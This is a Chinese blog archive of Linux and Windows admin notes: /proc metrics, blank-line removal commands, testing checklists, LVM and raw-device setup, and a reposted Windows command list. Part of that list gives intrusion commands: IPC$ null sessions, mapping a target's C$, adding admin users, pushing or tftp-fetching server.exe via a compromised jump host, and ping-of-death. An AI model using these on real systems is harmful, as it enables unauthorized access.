    没有具体的型号,缓存1M,一般都是奔腾系列的cpu,或者是intel假双核的cpu,具体要根据上面说的去判断。新的多核心cpu都能看到具体的型号。
    另外多核心的xeon的CPU,一般主频都不高,达到2.8和3.0的只有很少的几个高端CPU型号,一般主机商不会用这么好的。
     
     
     
    (1) 处理器使用率 
    (2) 内存使用率 
    (3) 流入流出数据包 
    (4) 整体网络负载 
    这些数据分别要从/proc/stat、/proc/net/dev、/proc/meminfo三个文件中提取。如里有问题或对要提取的数据不太清楚,可以使用man proc来查看proc文件系统的联机手册。 
    (1) 处理器使用率 
    这里要从/proc/stat中提取四个数据:用户模式(user)、低优先级的用户模式(nice)、内核模式(system)以及空闲的处理器时间(idle)。它们均位于/proc/stat文件的第一行。CPU的利用率使用如下公式来计算。 
    CPU利用率 = 100 *(user + nice + system)/(user + nice + system + idle) 
    (2) 内存使用率 
    这里需要从/proc/meminfo文件中提取两个数据,当前内存的使用量(cmem)以及内存总量(amem)。 
    内存使用百分比 = 100 * (cmem / umem) 
    (3)网络利用率 
    为了得到网络利用率的相关数据,需要从/proc/net/dev文件中获得两个数据:从本机输出的数据包数,流入本机的数据包数。它们都位于这个文件的第四行。 
    性能收集程序开始记录下这两个数据的初始值,以后每次获得这个值后均减去这个初始值即为从集群启动开始从本节点通过的数据包。 
    利用上述数据计算出网络的平均负载,方法如下: 
    平均网络负载 = (输出的数据包+流入的数据包) / 2    

  • 文本合并

    2013-06-18 01:06:34

    各种命令可谓是unix/linux系统中优美的部分,它们能够帮助我们搞定各种繁杂的任务,使我们的工作变得更轻松、更舒适、更给力。

    命令之乐

     

    文件拼接

    假如我有这么一个文件,含有多行空行:

    191 GW_8 [wyz] :/home/wyz/tmp>vi tmp.txt

    1,2,3,4,5,6

     

     

     

     

    7,8,9,0,1,2

     

     

     

     

     

    q,w,e,r,t,y

     

     

     

     

     

     

    a,s,d,f,g,h

     

     

     

     

     

     

     

     

    这里仅是示例,具体应用场景,自己想吧。

     

    问题:如何压缩空白行?

    简而言之,即删除空行,你的方法呢?

     

    好吧,先从最土的开始。。。。。。

    方法一:通过vi编辑,通过stdin使用命令d逐行删除

    文件内容少还好,成百上千行,效率就不行了。

     

    方法二:借助第三方工具删除空行

    比如使用Ueditftp方式打开后,选择空行并逐个删除。

     

     

     

    192 GW_8 [wyz] :/home/wyz/perl/tmp>more tmp.txt

    1,2,3,4,5,6

     

    7,8,9,0,1,2

     

    q,w,e,r,t,y

     

    a,s,d,f,g,h

     

    193 GW_8 [wyz] :/home/wyz/perl/tmp>

     

    压缩空白行

     

     

     

     

     

     

    各种命令可谓是unix/linux系统中优美的部分,它们能够帮助我们搞定各种繁杂的任务,使我们的工作变得更轻松、更舒适、更给力。

    这里仅开个头,能不能持续、能不能有效果,端看大家的意愿了。如果能持续,长久累积下来,就是一个非常完美的文档与参考手册,价值不菲。

     

    今天开个头(也可能是个结尾)。

     

    实战演练1

    文件拼接

     

    假如我有这么一个文件,含有多行空行:

    191 GW_8 [wyz] :/home/wyz/tmp>vi tmp.txt

    1,2,3,4,5,6

     

     

     

     

    7,8,9,0,1,2

     

     

     

     

     

    q,w,e,r,t,y

     

     

     

     

     

     

    a,s,d,f,g,h

     

     

     

     

     

     

     

     

    这里仅是示例,具体应用场景,自己想吧。

     

    问题:如何压缩空白行?

    简而言之,即删除空行,你的方法呢?

     

    都有哪些方法呢?

    方法1:不用忽略了more

    192 GW_8 [wyz] :/home/wyz/tmp>more tmp.txt

    1,2,3,4,5,6

     

    7,8,9,0,1,2

     

    q,w,e,r,t,y

     

    a,s,d,f,g,h

     

    193 GW_8 [wyz] :/home/wyz/tmp>

     

    more命令具有压缩空行的功能,你是否注意到了?

     

     

     

    方法2、你使用最多的cat命令

    194 GW_8 [wyz] :/home/wyz/tmp>cat -s tmp.txt

    1,2,3,4,5,6

     

    7,8,9,0,1,2

     

    q,w,e,r,t,y

     

    a,s,d,f,g,h

     

    195 GW_8 [wyz] :/home/wyz/tmp>

     

    等同于more,压缩了多余的空白行,仅保留一个空白行。

     

    方法3、使用tr移除空行

    201 GW_8 [wyz] :/home/wyz/tmp>cat tmp.txt  | tr -s '\n'

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

    202 GW_8 [wyz] :/home/wyz/tmp>

     

    方法4、使用sed移除空行

    202 GW_8 [wyz] :/home/wyz/tmp>cat tmp.txt | sed '/^$/d'

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

    203 GW_8 [wyz] :/home/wyz/tmp>

     

    方法5、使用xargs分割空行

    206 GW_8 [wyz] :/home/wyz/tmp>cat tmp.txt | xargs -n 1

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

    207 GW_8 [wyz] :/home/wyz/tmp>

    Xargs中的” ”,即xargs使用空格作为默认定界符。

     

    方法6perl单行程序

    176 GW_8 [wyz] :/home/wyz/tmp>perl -pi -e 's/^\s+$//g' tmp.txt;cat tmp.txt

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

    177 GW_8 [wyz] :/home/wyz/tmp>

    或者

    131 GW_8 [wyz] :/home/wyz/tmp>perl -pe 's/^\s+$//g' tmp.txt

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

     

    方法7uniq

    204 GW_8 [wyz] :/home/wyz/tmp>uniq -u tmp.txt

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

    或者

    205 GW_8 [wyz] :/home/wyz/tmp>uniq  tmp.txt

    1,2,3,4,5,6

     

    7,8,9,0,1,2

     

    q,w,e,r,t,y

     

    a,s,d,f,g,h

     

    206 GW_8 [wyz] :/home/wyz/tmp>

     

    方法8grep

    206 GW_8 [wyz] :/home/wyz/tmp>grep -v '^$' tmp.txt

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

    207 GW_8 [wyz] :/home/wyz/tmp>

     

    228 GW_8 [wyz] :/home/wyz/tmp>cat tmp.txt | grep '^[0-9a-z]'

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

     

     

    方式9sort

    219 GW_8 [wyz] :/home/wyz/tmp>sort tmp.txt | grep -v '^$'

    1,2,3,4,5,6

    7,8,9,0,1,2

    a,s,d,f,g,h

    q,w,e,r,t,y

    221 GW_8 [wyz] :/home/wyz/tmp>sort -u tmp.txt

     

    1,2,3,4,5,6

    7,8,9,0,1,2

    a,s,d,f,g,h

    q,w,e,r,t,y

     

    方式10

    228 GW_8 [wyz] :/home/wyz/tmp>cat tmp.txt | grep '^[0-9a-z]'

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

     

     

    方式11

    229 GW_8 [wyz] :/home/wyz/tmp>grep '^[0-9a-z]' tmp.txt

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

    230 GW_8 [wyz] :/home/wyz/tmp>

     

    方式12

    238 GW_8 [wyz] :/home/wyz/tmp>sed '/^$/'d tmp.txt

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

     

    方式13

    264 GW_8 [wyz] :/home/wyz/tmp>sed -n 'G; s/\n/&&/; /^\([ -~]*\n\).*\n\1/d; s/\n//; h; P' tmp.txt

    1,2,3,4,5,6

     

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

     

     

    方式14

    266 GW_8 [wyz] :/home/wyz/tmp>sed '/./\!d' tmp.txt

    1,2,3,4,5,6

    7,8,9,0,1,2

    q,w,e,r,t,y

    a,s,d,f,g,h

    267 GW_8 [wyz] :/home/wyz/tmp>

     

    方式15

    267 GW_8 [wyz] :/home/wyz/tmp>sed '$\!N; /^\(.*\)\n\1$/\!P; D' tmp.txt

    1,2,3,4,5,6

     

    7,8,9,0,1,2

     

    q,w,e,r,t,y

     

    a,s,d,f,g,h

     

    268 GW_8 [wyz] :/home/wyz/tmp>

     

    方式16

    269 GW_8 [wyz] :/home/wyz/tmp>sed '/./,/^$/\!d'  tmp.txt

    1,2,3,4,5,6

     

    7,8,9,0,1,2

     

    q,w,e,r,t,y

     

    a,s,d,f,g,h

     

    方式17

    270 GW_8 [wyz] :/home/wyz/tmp> sed '/^$/N;/\n$/D' tmp.txt

    1,2,3,4,5,6

     

    7,8,9,0,1,2

     

    q,w,e,r,t,y

     

    a,s,d,f,g,h

     

     

     

     

    271 GW_8 [wyz] :/home/wyz/tmp>sed '/^$/N;/\n$/N;//D' tmp.txt

    1,2,3,4,5,6

     

     

    7,8,9,0,1,2

     

     

    q,w,e,r,t,y

     

     

    a,s,d,f,g,h

     

    方式18 uniq

    279 GW_8 [wyz] :/home/wyz/tmp>uniq tmp.txt

    1,2,3,4,5,6

     

    7,8,9,0,1,2

     

    q,w,e,r,t,y

     

    a,s,d,f,g,h

     

    280 GW_8 [wyz] :/home/wyz/tmp>

     

    方式19

    281 GW_8 [wyz] :/home/wyz/tmp>sort tmp.txt | grep -v '^$'

    1,2,3,4,5,6

    7,8,9,0,1,2

    a,s,d,f,g,h

    q,w,e,r,t,y

    282 GW_8 [wyz] :/home/wyz/tmp>

     

     

    还有其他的方法,是否想到了呢,想到了就接着补充吧。

  • 界面测试

    2011-08-04 09:10:17

    界面风格
    1、所有页面类似的文字风格是否一致和搭配,包括背景颜色、字体、颜色、行间距等。
    2、界面是否支持直接回车,回车的处理和点击确认或提交等按钮的逻辑是否完全一致。
    3、界面的布局是否方便用户操作。
    4、界面上所要输入的信息,作为真正使用该业务场景的用户,能否提供所需的信息。
    5、影响重大的操作需要提醒用户进行确认,避免误操作。
    界面逻辑
    1、界面上输入的字段原则上trim前后空格。
    2、各个输入字段的几种边界值、规范中明确规定的取值是否都支持,并进行验证。
    3、变长的内容,上限能否支持?例如后台拼装的字符串有没有超过限度,界面上的下拉列表不能没有限制,表格的行数支持多少,etc。
    4、页面是否需要翻页处理。
    5、是否支持多个浏览器同时操作,是否有保护措施。
    6、界面处理的数量上限是多少?
    7、界面的开发和测试不能停留于界面的操作,需要结合实际的业务进行开发测试。
    8、界面是否存在上下文关联。会话中是否保存了某些信息存在影响
    9、界面的前转、回退、停止操作是否存在影响
    10、页面快速重复提交是否存在问题?
    11、是否对界面上的字段对业务上的有效性进行校验。
    12、塞班斯法案:密码不能明文显示、保存等
    13、不同页面的实现是否一致,例如添加和修改时特定字段的校验是否一致?
    14、大小写是否敏感?
    15、是否存在权限控制的问题?
    文字信息
    1、同一个实体在不同界面(以及日志等)使用的术语是否一致。
    2、展示内容在各种长度或组合的情况下,是否会影响美观。
    3、文字信息是否通顺,有无错别字。
    4、关注字符集的问题,至少是使用统一的字符集,包括日志、资源文件、源代码。
    兼容性
    1、主流浏览器的支持(当前定义主流为IE 6 7 8,其他的不宣称支持)
    2、脚本开关,IE的internet选项设置->高级->显示每个脚本错误的通知,开关勾上,界面有脚本异常时可以及时暴露出来
    3、不同操作系统和数据库是否存在兼容性影响。
    4、不同语言的操作系统及其他国际化问题。
  • 脚本测试

    2011-07-27 18:19:56

    脚本测试
     权限问题
      具有可执行权限
     平台移植
      1、不同操作系统间移植
      2、同操作系统、不同系统补丁版本间移植
     脚本产生的日志
      1、日志路径合理性
      2、日志内容(可读性高、清晰、详尽但不冗余)
      3、日志文件过大,是否要分割或定期清理等
     脚本中参数取值
      1.边界值
      2、参数取值的合理性
     脚本阅读能力
      1、能看懂脚本,知道脚本实现的功能
      2、会进行脚本的单步/断点调测
      3、脚本性能
      4、脚本变量、函数/方法等是否存在冗余情况
      5.脚本的可阅读性、编码规范性
      6、将操作分成若干个逻辑组
      7、提供脚本执行摘要
     路径
      1、脚本中调用其他脚本,绝对不能使用相对路径,必须为绝对路径
      2、脚本使用到的目录,不存在,脚本独立创建,不能人为干预
     临时文件
      1、产生的临时文件/文件夹,脚本最终要清除
      2、临时文件命名最好能以时间戳命名
     记录
      脚本描述、功能介绍、使用方法(资料体现)
     脚本易用性
      脚本提供usage
  • 磁阵划分vg等操作

    2011-04-25 11:39:29

    创建物理卷。
    pvcreate /dev/sdb1


    创建逻辑卷组。
    vgcreate oravg /dev/sdb1


    创建逻辑卷
    lvcreate -L 512M -n lv_control01 dbvg


    激活逻辑卷。
    vgchange -ay dbvg


    创建文件系统
    mkfs -t reiserfs /dev/mmsvg/lv_mmsg


     
    绑定逻辑卷和裸设备
     
    1. 启动raw方式
    /etc/init.d/raw start
    2. 设置raw开机自动激活
    chkconfig raw on
    3. 检查raw开机是否自动激活
    chkconfig | grep raw


    步骤 3 创建逻辑卷需要绑定的裸设备raw文件节点。
    mknod /dev/raw/raw1 c 162 1
    mknod /dev/raw/raw2 c 162 2

     
    绑定逻辑卷和裸设备。
     
    在备机上执行此操作之前,要确保逻辑卷已经激活。
    raw /dev/raw/raw1 /dev/mapper/dbvg-lv_control01
    raw /dev/raw/raw2 /dev/mapper/dbvg-lv_control02

    chown -R oracle:oinstall raw*

    raw -qa


    使逻辑卷和裸设备的绑定永久生效。
    1. 编辑/etc/init.d/boot.local文件
    vi /etc/init.d/boot.local
    2. 在文件中增加以下内容:
    raw /dev/raw/raw1 /dev/mapper/dbvg-lv_control01
    raw /dev/raw/raw2 /dev/mapper/dbvg-lv_control02


    vgscan
    vgchange -ay dbvg

    modprobe raw
    raw /dev/raw/raw1 /dev/mapper/dbvg-lv_control01
    raw /dev/raw/raw2 /dev/mapper/dbvg-lv_control02

    sleep 5
    chown -cR oracle:oinstall /dev/raw/raw1
    chown -cR oracle:oinstall /dev/raw/raw2


    chown -cR mmsg:mmsg /dev/mmsvg/lv_mmsg
    chown -cR mmsg:mmsg /dev/mapper/mmsvg-lv_mmsg

    mount /dev/mmsvg/lv_mmsg /mmsgShareDisk

    sleep 5
    chown -cR mmsg:mmsg /home/mmsg/
    chown -cR mmsg:mmsg /mmsgShareDisk

  • 运行命令大全(转载)

    2008-06-20 12:45:30

    winver---------检查Windows版本
    wmimgmt.msc----打开windows管理体系结构(WMI)
    wupdmgr--------windows更新程序
    wscrīpt--------windows脚本宿主设置
    write----------写字板
    winmsd---------系统信息
    wiaacmgr-------扫描仪和照相机向导
    winchat--------XP自带局域网聊天

    mem.exe--------显示内存使用情况
    Msconfig.exe---系统配置实用程序
    mplayer2-------简易widnows media player
    mspaint--------画图板
    mstsc----------远程桌面连接
    mplayer2-------媒体播放机
    magnify--------放大镜实用程序
    mmc------------打开控制台
    mobsync--------同步命令

    dxdiag---------检查DirectX信息
    drwtsn32------ 系统医生
    devmgmt.msc--- 设备管理器
    dfrg.msc-------磁盘碎片整理程序
    diskmgmt.msc---磁盘管理实用程序
    dcomcnfg-------打开系统组件服务
    ddeshare-------打开DDE共享设置
    dvdplay--------DVD播放器

    net stop messenger-----停止信使服务
    net start messenger----开始信使服务
    notepad--------打开记事本
    nslookup-------网络管理的工具向导
    ntbackup-------系统备份和还原
    narrator-------屏幕“讲述人”
    ntmsmgr.msc----移动存储管理器
    ntmsoprq.msc---移动存储管理员操作请求
    netstat -an----(TC)命令检查接口

    syncapp--------创建一个公文包
    sysedit--------系统配置编辑器
    sigverif-------文件签名验证程序
    sndrec32-------录音机
    shrpubw--------创建共享文件夹
    secpol.msc-----本地安全策略
    syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
    services.msc---本地服务设置
    Sndvol32-------音量控制程序
    sfc.exe--------系统文件检查器
    sfc /scannow---windows文件保护

    tsshutdn-------60秒倒计时关机命令
    tourstart------xp简介(安装完成后出现的漫游xp程序)
    taskmgr--------任务管理器

    eventvwr-------事件查看器
    eudcedit-------造字程序
    explorer-------打开资源管理器

    packager-------对象包装程序
    perfmon.msc----计算机性能监测程序
    progman--------程序管理器

    regedit.exe----注册表
    rsop.msc-------组策略结果集
    regedt32-------注册表编辑器
    rononce -p ----15秒关机
    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符
    chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序
    calc-----------启动计算器
    charmap--------启动字符映射表
    cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器
    conf-----------启动netmeeting
    compmgmt.msc---计算机管理
    cleanmgr-------^^整理
    ciadv.msc------索引服务程序

    osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器
    oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组
    logoff---------注销命令

    iexpress-------木马捆绑工具,系统自带

    Nslookup-------IP地址侦测器

    fsmgmt.msc-----共享文件夹管理器

    utilman--------辅助工具管理器

    gpedit.msc-----组策略

    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持
    rundll32.exe shell32.dll,Control_RunDLL ----------显示控制面板
    rundll32.exe shell32.dll,Control_RunDLL
    access.cpl,,1--------显示辅助功能选项
    rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1--打开系统属性
    rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1---删除或添加程序
    rundll32.exe syncui.dll,Briefcase_Create----桌面上建立公文包
    rundll32.exe diskcopy.dll,DiskCopyRunDll----复制软盘驱动器
    rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0--显示时间属性
    rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0----显示桌面墙纸属性
    rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0-----游戏控制器
    rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0---音频属性
    cmd.exe--------CMD命令提示符 chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序 calc-----------启动计算器
    charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器 conf-----------启动netmeeting
    compmgmt.msc---计算机管理 cleanmgr-------垃圾整理
    ciadv.msc------索引服务程序 osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组 logoff---------注销命令
    iexpress-------木马捆绑工具,系统自带 Nslookup-------IP地址侦测器
    fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器
    net use \\ip\ipc$ " " /user:" " 建立IPC空链接
    net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
    net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
    net use \\ip\ipc$ /del 删除IPC链接
    net use h: /del 删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add 建立用户
    net user guest /active:yes 激活guest用户
    net user 查看有哪些用户
    net user 帐户名 查看帐户的属性
    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start 查看开启了哪些服务
    net start 服务名 开启服务;(如:net start telnet, net start schedule)
    net stop 服务名 停止某服务
    net time \\目标ip 查看对方时间
    net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
    net view 查看本地局域网内开启了哪些共享
    net view \\ip 查看对方局域网内开启了哪些共享
    net config 显示系统网络设置
    net logoff 断开连接的共享
    net pause 服务名 暂停某服务
    net send ip "文本信息" 向对方发信息
    net ver 局域网内正在使用的网络连接类型和信息
    net share 查看本地开启的共享
    net share ipc$ 开启ipc$共享
    net share ipc$ /del 删除ipc$共享
    net share c$ /del 删除C:共享
    net user guest 12345 用guest用户登陆后用将密码改为12345
    net password 密码 更改系统登陆密码
    netstat -a 查看开启了哪些端口,常用netstat -an
    netstat -n 查看端口的网络连接情况,常用netstat -an
    netstat -v 查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s 查看正在使用的所有协议使用情况
    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
    tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
    ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

    #2 二:

    del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
    move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id号 开启已注册的某个计划任务
    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
    at id号 /delete 停止某个已注册的计划任务
    at 查看所有的计划任务
    at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
    finger username @host 查看最近有哪些用户登陆
    telnet ip 端口 远和登陆服务器,默认端口为23
    open ip 连接到IP(属telnet登陆后的命令)
    telnet 在本机上直接键入telnet 将进入本机的telnet
    copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
    copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
    copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
    tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
    mem 查看cpu使用情况
    attrib 文件名(目录名) 查看某文件(目录)的属性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
    set 指定环境变量名称=要指派给变量的字符 设置环境变量
    set 显示当前所有的环境变量
    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
    pause 暂停批处理程序,并显示出:请按任意键继续....
    if 在批处理程序中执行条件处理(更多说明见if命令及变量)
    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
    call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
    echo 信息 在屏幕上显示出信息
    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
    find 文件名 查找某文件
    title 标题名字 更改CMD窗口标题名字
    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
    prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

    #3 三:

    ver 在DOS窗口下显示版本信息
    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目录名 创建目录
    replace 源文件 要替换文件的目录 替换文件
    ren 原文件名 新文件名 重命名文件名
    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
    type 文件名 显示文本文件的内容
    more 文件名 逐屏显示输出文件
    doskey 要锁定的命令=字符
    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
    taskmgr 调出任务管理器
    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
    path 路径\可执行文件的文件名 为可执行文件设置一个路径。
    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
    regedit /e 注册表文件名 导出注册表
    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
    cacls 文件名 查看文件的访问用户权限列表
    REM 文本内容 在批处理文件中添加注解
    netsh 查看或更改本地网络配置情况

    #4 四:

    IIS服务命令:
    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
    iisreset /start或stop 启动(停止)所有Internet服务
    iisreset /restart 停止然后重新启动所有Internet服务
    iisreset /status 显示所有Internet服务状态
    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
    iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
    FTP 命令: (后面有详细说明内容)
    ftp的命令行格式为:
    ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
    -d 使用调试方式。
    -n 限制ftp的自动登录,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 ?[命令] 查看命令说明
    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
    pwd 列出当前远端主机目录
    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
    mget [remote-files] 从远端主机接收一批文件至本地主机
    mput local-files 将本地主机中一批文件传送至远端主机
    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
    ascii 设定以ASCII方式传送文件(缺省值)
    bin 或 image 设定以二进制方式传送文件
    bell 每完成一次文件传送,报警提示
    cdup 返回上一级目录
    close 中断与远程服务器的ftp会话(与open对应)
    open host[port] 建立指定ftp服务器连接,可指定连接端口
    delete 删除远端主机中的文件
    mdelete [remote-files] 删除一批文件
    mkdir directory-name 在远端主机中建立目录
    rename [from] [to] 改变远端主机中的文件名
    rmdir directory-name 删除远端主机中的目录
    status 显示当前FTP的状态
    system 显示远端主机系统类型
    user user-name [password] [account] 重新以别的用户名登录远端主机
    open host [port] 重新建立一个新的连接
    prompt 交互提示模式
    macdef 定义宏命令
    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
    chmod 改变远端主机的文件权限
    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
    cd remote-dir 进入远程主机目录
    cdup 进入远程主机目录的父目录
    ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

    #5 五:

    MYSQL 命令:
    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
    (例:mysql -h110.110.110.110 -Uroot -P123456
    注:u与root可以不用加空格,其它也一样)
    exit 退出MYSQL
    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
